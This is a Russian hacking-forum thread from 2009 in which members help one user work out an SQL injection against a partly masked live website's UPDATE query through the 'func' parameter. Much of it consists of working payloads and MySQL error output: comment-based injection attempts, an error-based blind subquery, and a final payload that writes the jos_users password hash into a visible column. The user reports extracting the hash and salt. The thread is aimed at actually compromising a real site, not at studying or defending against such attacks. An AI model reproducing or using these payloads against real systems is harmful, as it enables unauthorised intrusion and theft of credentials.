PDA

Просмотр полной версии : Комментирование части запроса (SQL-inj)


Disasm
22.07.2009, 22:35
Всем доброго дня.

Уважаемые господа, столкнулся с такой проблемой:

Для внедрения SQL инъекции необходимо закомментировать хвост запроса.

Сам запрос в исходнике:

$sql = "UPDATE table SET time='{$now}', what='{$what}', do= '{$do}', task= '{$task}', link= '{$link}', func= '{$func}'"
. "\n WHERE userid={$my->id} AND userip='{$myip}'";

В SQL-inj комментирую так:
http://site.com/index.php?func=bla'/*
на что получаю ошибку синтаксиса, не понятно почему...

может это из-за того, что WHERE в запросе идет с новой строки...

Подскажите пожалуйста как корректно закомментировать всё WHERE.

Pashkela
22.07.2009, 22:38
Дело не только в коментарии, ошибку, для проведения sql-inj надо не только уметь вызвать, но и нигилировать её последующим корректным запросом, а уж потом комментировать, чтобы анигилировать sql-конструкции, идущие следом

Disasm
22.07.2009, 22:46
Дело не только в коментарии, ошибку, для проведения sql-inj надо не только уметь вызвать, но и нигилировать её последующим корректным запросом, а уж потом комментировать, чтобы анигилировать sql-конструкции, идущие следом
Если я не ошибаюсь, конечная структура запроса у меня получается синтаксически верная.
Это конечно при условии, что MySQL не требует строго обособления многострочного комментария с обеих сторон.

Т.е. я расчитывал на то, что открывающего указателя многострочного комментария /* будет достаточно для построения синтаксически верного запроса, но что-то чувствую, что MySQL ругается именно на отсутствие закрытия комментария */

xa-xa89
22.07.2009, 22:56
вопрос: вы пытаетесь внедрить SQL-код обьединив запросы UPDATE & SELECT или через подзапрос?
покажите как вы делаете тогда станет ясней...

Disasm
22.07.2009, 23:03
вопрос: вы пытаетесь внедрить SQL-код обьединив запросы UPDATE & SELECT или через подзапрос?
покажите как вы делаете тогда станет ясней...

для начала просто заккоментировать, а делее через UNION еще раз UPDATE

Приведи сообщение об ошибке
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*' WHERE userid=0 AND userip='255.255.255.255'' at line 2 SQL=UPDATE table SET time='1248287457', what='main', do= '', task= '', link= '/index.php?func=bla%27/*', func= 'bla'/*' WHERE userid=0 AND userip='255.255.255.255'

xa-xa89
22.07.2009, 23:24
Символы одинарной и двойной кавычек, даже внутри комментария, считаются началом заключенной в кавычки строки. Если внутри комментария не встречается вторая такая же кавычка, синтаксический анализатор не считает комментарий законченным. При работе с mysql в интерактивном режиме эта ошибка проявится в том, что окно запроса изменит свое состояние с mysql> на '> или ">.

http://phpclub.ru/mysql/doc/comments.html

Пища для мозгов)

http://site.com/index.php?func=bla'/*'
может вот так сработает!

Disasm
22.07.2009, 23:29
xa-xa89 спасибо! Теперь ясно почему ругается.
Подскажите, как же мне тогда верно отрезать WHERE?

Disasm
22.07.2009, 23:31
http://site.com/index.php?func=bla'/*'
может вот так сработает!
не работает =(

xa-xa89
22.07.2009, 23:33
Приводи сразу что пишет!я ж не телепат!

Disasm
22.07.2009, 23:36
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*'' WHERE userid=0 AND userip='255.255.255.255'' at line 2 SQL=UPDATE table SET time='1248287457', what='main', do= '', task= '', link= '/index.php?func=%27/*%27', func= 'bla'/*'' WHERE userid=0 AND userip='255.255.255.255'

Disasm
23.07.2009, 00:02
http://site.com/index.php?func=bla'+--+

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '255.255.255.255'' at line 1 SQL=UPDATE table SET time='1248292780', what='main', do= '', task= '', link= '/index.php?func=bla%27+--+', func= 'bla' --' WHERE userid=0 AND userip='255.255.255.255'

xa-xa89
23.07.2009, 00:15
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '255.255.255.255'' at line 1 SQL=UPDATE table SET time='1248292780', what='main', do= '', task= '', link= '/index.php?func=bla%27+--+', func= 'bla' --' WHERE userid=0 AND userip='255.255.255.255'

Вот в этом должен быть еще пробел после --
может
http://site.com/index.php?func=bla'+--[тут пробел]

Disasm
23.07.2009, 00:20
Вот в этом должен быть еще пробел после --
может
http://site.com/index.php?func=bla'+--[тут пробел]
тоже самое
обратите особое внимание, что WHERE в запросе идет с новой строки, поэтому строчный комментарий не катит

Pashkela
23.07.2009, 00:23
заманали уже со своим бредом, ссылку в студию

xa-xa89
23.07.2009, 00:36
Ну ради експеримента, раз у тебя есть доступ к сорцам
возьми убери символ перевода строки и попробуй....
будем хоть точно знать в чем проблема!

Disasm
23.07.2009, 09:46
Pashkela взглянул на ссылку и сказал, что инъекцию произвести нельзя, поскольку невозможно повлиять на исходный запрос и что это вовсе не SQL-inj, а просто ошибка запроса, хотя мне так не кажется...

Пробую дописать в UPDATE не существующее поле:
http://site.com/index.php?func=who',user1='user
на что получаю соответствующую ошибку, что поле не существует.

меняю имя поля на существующее:
http://site.com/index.php?func=who',user='user
и всё ок, запрос успешно выполнен, ошибок нет.

Проблема осталась, мне надо закомментировать условие WHERE, либо каким-нибудь образом выполнить SELECT или дополнительный UPDATE.

Pashkela
23.07.2009, 11:08
1. Он не пишет "всё ок, запрос успешно выполнен" - зачем ты врешь?
2. Где ты там вообще where увидел??? Там идет

insert into lalala (`a`,`b`,`c`) VALUES ('1','who','3');

3. Ставя кавычку в значение GET-переменной func ты вызываешь ошибку sql-запроса, это есс-но, так запрос превращается в такой:

insert into lalala (`a`,`b`,`c`) VALUES ('1','who'','3');

т.е. чисто ошибка синтаксиса sql-запроса, и, при постановке твой конструкции

who',user1='user

запрос превращается в такой:

insert into lalala (`a`,`b`,`c`) VALUES ('1','who', user1='user','3');

и при подстановке

who',user='user

просходит тоже самое

что сразу вызывает уже не синтаксическую ошибку (т.е. с кавычками ты рахобрался), а нарушения между кол-вом вставляемых значений и кол-вом колонок, куда эти значения вставляются, т.к. ты вот таким диким способом сделал уже 4 параметра во вторых скобочках вместо положенных трёх (в данном примере, в реале их там просто побольше) - т.е. уж логическая ошибка, о чем оно тебе там и пишет:

Column count doesn't match value count at row 1

В таких условиях, при таком sql-запросе

insert into lalala (`a`,`b`,`c`) VALUES ('1','who', '3');

и уязвимом параметре 'who' скуля невозможна, отсекать тут нечего, при любом отсечении будет нарушение логики sql-запроса, единственное, что ты можешь сделать, это вставить своё значение в колонку `b` вместо 'who', но это ничего не даст в итоге, т.к. в реале это идет просто сохранение линка, где сейчас чел находится, т.е. просто статистика, + там magic_qutes=on

Disasm
23.07.2009, 11:23
1. Он не пишет "всё ок, запрос успешно выполнен" - зачем ты врешь?
2. Где ты там вообще where увидел??? Там идет

insert into lalala (`a`,`b`,`c`) VALUES ('1','who','3');

Смотрите внимательнее, INSERT идет только тогда, когда для текущего посетителя сессия еще не открыта (точнее не сессия, а запись в БД о текущем местонахождении)
Просто обновите страницу и получите UPDATE с WHERE

И при update - http://site.com/forum.html?func=who%27,user=%27user
ошибок нет, т.е. запрос успешно выполняется

xa-xa89
23.07.2009, 12:03
там magic_qutes=on

И при update - http://site.com/forum.html?func=who%27,user=%27user
ошибок нет, т.е. запрос успешно выполняется

как такое может получиться?

Disasm
23.07.2009, 21:10
Неужели никто не может дать совет по сабжу?

xa-xa89
24.07.2009, 02:23
/forum.html?func=who'%20--%20a

вот так все норм ошибки не выдает при UPDATE запросе....

Disasm
24.07.2009, 09:27
/forum.html?func=who'%20--%20a

вот так все норм ошибки не выдает при UPDATE запросе....
Не катит.

В запросе у нас WHERE идет с новой строки, а в данном случае комментируется текущая строка, поэтому и ошибок не выдает.

Можем даже проверить:
/forum.html?func=who'+where+1=1+--+a
на что получаем ошибку синтаксиса и очевидно, что основной WHERE у нас не закомментировался.

Jokester
24.07.2009, 20:43
Disasm
У Вас скорее всего версия Mysql >=5.0.51, она требует закрытия комментария "/*", отсюда и ошибка синтаксиса:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*'
а однострочный, как вы сами заметили не будет работать

Попробуйте сконцентрировать своё внимание на первом запросе в инсерте. Если там таких проблем нет. то возможно удастся провести more than 1 row вот материал:
http://forum.antichat.ru/threadnav35207-1-10.html

И кстати.
а делее через UNION еще раз UPDATE

Ээээ?

Disasm
24.07.2009, 21:49
Попробуйте сконцентрировать своё внимание на первом запросе в инсерте. Если там таких проблем нет. то возможно удастся провести more than 1 row вот материал:
http://forum.antichat.ru/threadnav35207-1-10.html

Большое спасибо! Действительно интересный материал, но опять же, чтоб спровоцировать more than 1 row мне необходимо закомментировать хвост. А это, как вы уточнили, в Mysql 5.0.51 и выше, реализовать не удастся.

jokester
Если у вас есть еще какие-нибудь соображения, то поделитесь, если не затруднит.

PaCo
24.07.2009, 22:18
Насколько я понимаю запрос имеет такую форму:

$sql = "UPDATE table SET time='{$now}', what='{$what}', do= '{$do}', task= '{$task}', link= '{$link}', func= '{$func}'"
. " WHERE userid={$my->id} AND userip='{$myip}'";

где уязвимый параметр func, и судя по error на сингл комент /* у нас 5, и для more than 1 row вам не обязательно необходимо коментить оставшуюся часть запроса т.к. в 5 давно есть сабгвери, следовательно
$func = 1%27 or 1=IF(SUBSTRING((SELECT version()),1,1)=4,0,(select 1 union select 5))

"UPDATE table SET time='{$now}',
what='{$what}',
do= '{$do}',
task= '{$task}',
link= '{$link}',
func= '{$func}'"
WHERE
userid={$my->id} AND userip='{$myip}'";

Jokester
24.07.2009, 22:21
jokester
Если у вас есть еще какие-нибудь соображения, то поделитесь, если не затруднит.

Я-же написал, моё мнение нужно смотреть запрос с INSERT о котором вы пишите тут:
INSERT идет только тогда, когда для текущего посетителя сессия еще не открыта (точнее не сессия, а запись в БД о текущем местонахождении)

Если там тоже скуль, то возможно она не такая замороченная.
Ну или пробовать составить запрос без комментария, учитывая его весь, вставляя конструкции вроде "and if(1=1,1,2)" или подзапросы. Но это уже СООБРАЖЕНИЯ, тоесть просто первое, что приходит в голову, нужно тестить и лучше на локалке, конечно.

2 PaCo
Там видишь ещё какое г.
WHERE userid=0 AND userip='255.255.255.255'' at line 2 SQL=UPDATE table SET time='1248287457', what='main', do= '', task= '', link= '/index.php?func=bla%27/*', func= 'bla'/*' WHERE userid=0 AND userip='255.255.255.255'
Надо учитывать

PaCo
24.07.2009, 22:31
Я-же написал, моё мнение нужно смотреть запрос с INSERT о котором вы пишите тут:

Если там тоже скуль, то возможно она не такая замороченная.
Ну или пробовать составить запрос без комментария, учитывая его весь, вставляя конструкции вроде "and if(1=1,1,2)" или подзапросы. Но это уже СООБРАЖЕНИЯ, тоесть просто первое, что приходит в голову, нужно тестить и лучше на локалке, конечно.

2 PaCo
Там видишь ещё какое г.

Надо учитывать
Вижу вот это
link= '/index.php?func=bla%27/*', func= 'bla'/*' я ж не случайно написал %27, даже если бы кавычка оставалась как есть можно и /**/ закоментить что нам не нравиться если имеем 2 уязвимых параметра, только надо подумать как :D.

З.Ы. jokester согласен тестить нужно а так это гадания на картах.
А что этот топ здесь делает? По моему это далеко не кодинг.
ЗЫ про оставшуюся та ковычку я и забыл :)

Вообшем ТС вот тебе для блинд запрос по тому адресу что ты мне в пм отослал(пробелы поуберай):



http://**********.ru/*****.html?func=who%27%20or%201=IF(SUBSTRING((SELE CT%20version()),1,1)%3E5,0,(select%201%20union%20s elect%205))%20and%201=%271%20

сама сабгверя SELECT%20version() ну и т.д., версия 5, значит есть INFORMATION.SCHEMA вопрос что в ней есть - ну это уже сам смотри.

Disasm
24.07.2009, 23:15
Пытаюсь выполнить запрос:
/forum.html?func=who'+or+1=IF(SUBSTRING((SELECT+ver sion()),1,1)=4,0,(select password from users where id=1))+--+a

Запрос действительно выполняется, ошибок в ответку нет.
Меняю имя поля на не существующее и в ответ получаю соответствующую ошибку - значит выборка прошла успешно.

Уважаемые Гуру, я одного не могу понять, как мне это может помочь в получении значения определенной записи?

PaCo
24.07.2009, 23:43
2Disasm - блайнд там выполним, пример запроса тебе показали так что стоит немного почитать линки которые тебе дали, никто тебе не будет описывать все до мелочей, сам запрос которых ты хочешь зделать нужно писать в условии IF а не в варинтах при выполнении/не выполнении условия в IF:
IF(ЗДЕСЬ_УСЛОВИЯ_СЧИТАЙ_САБ_ ВЕРЯ_И_ПРОВЕРКА_ЕЕ_РЕЗУЛЬТ ТОВ,0,ЗДЕСЬ_ТО_ЧТО_БУДЕТ_ВЫЗ ЫВАТЬ_ОШИБКУ_ПРИ_НЕ_ВЫПОЛНЕ НИИ_УСЛОВИЯ)

Disasm
25.07.2009, 00:04
Подскажите, я мыслю в правильном направлении:
Как я понял с помощью этого запроса я могу выполнить только посимвольный брут значения определенного поля?
Значение целиком я получить никак не смогу?

PaCo
25.07.2009, 00:12
Подскажите, я мыслю в правильном направлении:
Как я понял с помощью этого запроса я могу выполнить только посимвольный брут значения определенного поля?
Значение целиком я получить никак не смогу?
Да ты правильно мыслишь если только у тебя нет возможности посмотреть те значения которые ты UPDATE или INSERT в таблицу посредством сабгвери их занести а потом прочитать, там я не увидел такой возможности - скорее всего стата доступна только админу, значит только посимвольный перебор, можешь поискать еще что нибудь с выводом значений не исключенно что есть.

Disasm
25.07.2009, 15:59
UPDATE или INSERT нельзя выполнить через сабквери?
Пытаюсь выполнить - в ответ ошибка синтаксиса

xa-xa89
26.07.2009, 03:48
Ребята, все гораздо проще....
без всяких блинд SQL-inj

Так вот...
Делаем сначала вот так
/f****.html?func=who',%20userid=123,%20link=(SELECT %20jos_users.password%20FROM%20jos_users%20WHERE%2 0jos_users.id=123)%20--%20a

в результате при обновлении таблицы jos_whois_online мы перезаписываем поля userid и link...
Если посмотреть внимательно то поле link в исходном запросе имело вид
link= '{$link}'
Где $link было то что у нас в адресной строке браузера!
Но наше новое поле дальше(после старого) по сему оно главней=)
в итоге мы имеем такой как нам надо перезаписаный идентификатор+ссылку....

Далее мы заходим на
/f****.html?func=who
и видим что онлайн появился новый юзер....
наводим на него мышку и видим что его АйДи равен тому что мы перезаписали.
Вот чудо))
Далее смотрим где ж это чудо находится?
и видим что вместо ссылки у нас хеш его пароля
Вуаля!

и не стоит мучать сервак слепой SQL-inj

Оффтоп
$func = 1%27 or 1=IF(SUBSTRING((SELECT version()),1,1)=4,0,(select 1 union select 5))
or and etc... имеет смысл использовать только в WHERE части запроса
или я не прав?

Disasm
26.07.2009, 10:25
xa-xa89
Отличное решение!
А я блин заморочился, написал брут и посимвольно сбрутил хеш:соль
Вот, что значит дурная голова не дает покоя рукам =)

Disasm
26.07.2009, 10:49
Хочу выразить огромную благодарность: xa-xa89, PaCo, jokester за то, что нашли время проникнуться вопросом и дать действительно стоящие рекомендации.
Желаемый результат получен. За эти несколько дней понял, что вообще ничего не знаю о SQL запросах, но при этом перелопатил кучу документации и сейчас накопил некоторый багаж полезных знаний.

Еще раз всем большое спасибо!